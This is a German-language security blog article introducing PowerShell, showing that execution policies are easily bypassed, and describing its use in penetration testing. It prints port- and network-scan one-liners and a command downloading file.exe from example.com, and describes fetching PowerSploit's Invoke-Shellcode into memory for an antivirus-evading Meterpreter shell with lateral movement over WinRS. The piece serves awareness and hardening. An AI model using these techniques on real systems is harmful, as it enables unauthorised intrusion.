Im Herbst 2006 veröffentlichte Microsoft die erste Version von PowerShell (Codename Monad). Mit der Einführung von PowerShell erhielt Windows endlich einen mächtigen Kommandozeileninterpreter und die Verwaltung von Systemen mit Befehlen und Skripts wurde enorm aufgewertet. Trotzdem fristet PowerShell noch heute ein Nischen-Dasein und wird selten eingesetzt. In diesem Artikel erläutere ich Grundlagen von PowerShell, was es mit den Execution Policies auf sich hat und welche Vorteile PowerShell für Penetration Tester hat.

Einführung in PowerShell

PowerShell ist eine Kommandozeilen- und Skriptsprache, die mit Fokus auf Verwaltung von Systemen entwickelt wurde. PowerShell basiert auf dem .NET-Framework und verfügt über verschiedene Funktionen und Befehle, auch Cmdlets genannt. Microsoft hat Aliase für die gängigsten Cmdlets definiert, welche den Befehlen anderer Kommandozeileninterpretern (CMD.exe, bash) entsprechen. Die Wikipedia listet eine Übersicht dieser Aliase auf. Ein nützliches Cmdlet ist Get-Help, welches Informationen zu anderen Cmdlets ausgibt. Für Get-Help existieren die Aliase help oder man.

PowerShell unterstützt das Pipeline-Modell, sprich die Ausgabe eines Befehls kann als Eingabe an einen anderen Befehl weitergeleitet werden. Dazu wird der Operator | verwendet. Dies ist nützlich, wenn eine Liste von Werten nach bestimmten Kriterien gefiltert werden soll. Im folgenden Beispiel werden sämtliche Prozesse aufgelistet, die mehr als 100 MB Arbeitsspeicher belegen. Mit einem weiteren Schritt können alle Prozesse auch gleich gestoppt werden. Die letzte Zeile enthält die Kurzschreibweise desselben Befehls mithilfe von Aliasen.

PS C:\> Get-Process | Where-Object { $_.WS -gt 100MB }
PS C:\> Get-Process | Where-Object { $_.WS -gt 100MB } | Stop-Process
PS C:\> ps | ? WS -gt 100MB | kill

Nebst den Betriebssystemfunktionen existieren weitere Cmdlets für Microsoft Dienste, wie Exchange, SharePoint oder Active Directory. PowerShell kann sogar für die Verwaltung von Third Party Anwendungen (zum Beispiel VMware PowerCLI) genutzt werden. Der Einsatz von PowerShell ist nicht auf das lokale System eingeschränkt. Über die Funktion Windows Remote Shell (WinRS) kann mittels PowerShell auf ein Remote System zugegriffen werden.

Sicherheitsmassnahmen

Die Verankerung von PowerShell in das Betriebssystem sowie der enorme Funktionsumfang bergen aber auch ein Missbrauchspotential. Wie kann ich also die Ausführung von PowerShell kontrollieren?

PowerShell verfügt über eine Execution Policy, die definiert, unter welchen Umständen ein Skript ausgeführt werden darf. Standardmässig ist die Ausführung aller Skripts nicht erlaubt. Die aktuell geltende Einstellung kann mittels Get-ExecutionPolicy ausgelesen und mit Set-ExecutionPolicy geändert werden. Für die Ausführung von Set-ExecutionPolicy, werden lokale Administratorenrechte benötigt. So weit, so gut.

Die Execution Policy gilt jedoch für verschiedene Bereiche (Scopes). Es gibt Scopes für den lokalen Computer, den angemeldeten Benutzer (CurrentUser) oder die aktuelle PowerShell Session. Ein unprivilegierter Benutzer kann die Policy für seinen eigenen Account mit dem Befehl Set-ExecutionPolicy -Scope CurrentUser <Policy> beliebig ändern. Zudem hat diese Einstellung keinen Einfluss auf die Ausführung einzelner respektive aufeinanderfolgende Befehle. Mehrere Befehle können, durch ein Semikolon getrennt, aneinander gereiht und als ein einzelner Befehl ausgeführt werden.

Im folgenden Beispiel ist die Execution Policy auf Restricted gesetzt. Folgerichtig erhält der Benutzer beim Aufruf eines Skripts eine Fehlermeldung. Ruft derselbe Benutzer aber powershell.exe direkt auf und verwendet dabei den Parameter -ExecutionPolicy Unrestricted wird das Skript ausgeführt.

Das obige Beispiel zeigt eine von mehreren Umgehungsmöglichkeiten. Kurz gesagt, die Execution Policy bietet keinen reellen Schutz vor der Ausführung von Skripten. Dies ist auch Microsoft bewusst: Im Hilfetext über die Execution Policies steht, dass es sich dabei um kein Sicherheitssystem handelt, das die Aktionen eines Benutzers wirkungsvoll einschränkt. Die Execution Policy ist laut Microsoft dazu da, dem Benutzer Grundregeln vorzugeben und ihn davor zu bewahren, unbeabsichtigt gegen diese zu verstossen. Wer sich davon selbst überzeugen will: man about_execution_policies.

Um die Ausführung von PowerShell Befehlen oder Skripten zu verhindern, muss die Ausführung der eigentlichen Anwendung powershell.exe kontrolliert, eingeschränkt oder komplett unterbunden werden. Eine Möglichkeit dazu ist das Sicherheitsfeature AppLocker von Microsoft – welches wir im Labs Microsoft AppLocker – Das wenig beachtete Sicherheitsfeature vorgestellt haben.

PowerShell und Penetration Testing

PowerShell bietet auch für Penetration Tester eine Vielzahl von Möglichkeiten. PowerShell ist auf eingeschränkten Systemen (Kiosk Rechner, Terminal Server) sehr nützlich, sei dies um Information Gathering zu betreiben oder eine Shell zu starten.

PowerShell kann zur Untersuchung von Umgebungen und Netzwerken eingesetzt werden. Die folgenden Befehle führen einen Port Scan sowie ein Netzwerkscan auf einen bestimmten Port durch:

PS C:\> 1..1024 | % { echo((new-object Net.Sockets.TcpClient).Connect("10.10.10.23",$_)) "$_ is open"} 2>$null
PS C:\> 1..255 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.$_",80)) "10.10.10.$_" }2>$null

Mit PowerShell können Dateien von externen Quellen heruntergeladen werden, inklusive Proxy Unterstützung.

PS C:\> $foo = New-Object Net.WebClient
PS C:\> $foo.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
PS C:\> $foo.Downloadfile(http://example.com/file.exe', 'file.exe')

In verschiedenen Szenarien ist eine Shell auf einem Zielsystem von grossem Nutzen. Über eine solche Shell können Daten transferiert oder Befehle ausgeführt werden. Damit eine Shell aufgebaut werden kann, muss auf dem Zielsystem entsprechender Code ausgeführt werden. Dies kann über die Ausnutzung einer Schwachstelle oder durch die bewusste Ausführung einer Anwendung geschehen.

Das auf PowerShell basierende Projekt PowerSploit ermöglicht es, einfach eine Shell auf einem Zielsystem auszuführen. Dazu wird nur eine PowerShell Session benötigt. Mittels der Funktion Invoke-Expression wird das Skript Invoke-Shellcode.ps1 heruntergeladen und im Memory des Systems ausgeführt. Mit diesem Skript kann beliebiger Shellcode in den Speicher des Prozesses injiziert werden. Bequemerweise bringt Invoke-Shellcode die Möglichkeit eine Meterpreter HTTP Shell zu starten gleich mit. Es wird dabei keine Datei auf das System geschrieben und somit eine Überprüfung durch eine Antivirenlösung umgangen.

Das folgende Beispiel zeigt die notwendigen Befehle und den Aufbau einer Meterpreter Shell. Die Nachfragen bei der Ausführung von Invoke-Shellcode können mittels des Parameters -Force unterdrückt werden.

Das Starten von Shells mittels PowerSploit ist nicht auf das lokale System eingeschränkt. In Kombination mit WinRS können Meterpreter Shells auf weiteren Systemen innerhalb einer Windows Infrastruktur gestartet werden. Dazu muss WinRS aktiviert sein und der Benutzer über die erforderlichen Berechtigungen verfügen. WinRS führt PowerShell-Befehle direkt aus, ohne dass wie bei psexec ein Prozess erstellt und gestartet wird. Es ist auch nicht nötig Dateien auf ein Remote System hochzuladen. Die Kombination von PowerSploit und WinRS wird daher von einer gängigen Antivrenlösung kaum erkannt.

Fazit

PowerShell ist sehr mächtig und kann vielseitig eingesetzt werden. Dies bedeutet aber auch, dass ein Angreifer mit PowerShell ein vorinstalliertes Werkzeug erhält, das alle Funktionen mitbringt um eine Windows Domäne zu kompromittieren. Dabei reicht die Execution Policy nicht aus, um die Ausführung von PowerShell zu kontrollieren oder einzuschränken. Es wurde bereits Schadsoftware gefunden, die auf PowerShell basiert. Am 5. April 2014 veröffentlichte Matt Graeber seine ausführliche Analyse einer auf PowerShell basierenden Malware: Power Worm. Wer bis jetzt nur von PowerShell gelesen oder gehört hat und sich schon längst sich damit auseinander setzen wollte – jetzt ist ein guter Zeitpunkt damit zu beginnen.

Über den Autor

Michael Schneider arbeitet seit dem Jahr 2000 in der IT. Im Jahr 2010 hat er sich auf die Informationssicherheit spezialisiert. Zu seinen Aufgaben gehören das Penetration Testing, Hardening und das Aufspüren von Schwachstellen in Betriebssystemen. Er ist bekannt für eine Vielzahl in PowerShell geschriebener Tools zum Finden, Ausnutzen und Beheben von Schwachstellen. (ORCID 0000-0003-0772-9761)

Links

• http://www.exploit-monday.com/2014/04/powerworm-analysis.html
• https://en.wikipedia.org/wiki/Windows_PowerShell#Comparison_of_cmdlets_with_similar_commands
• https://github.com/mattifestation/PowerSploit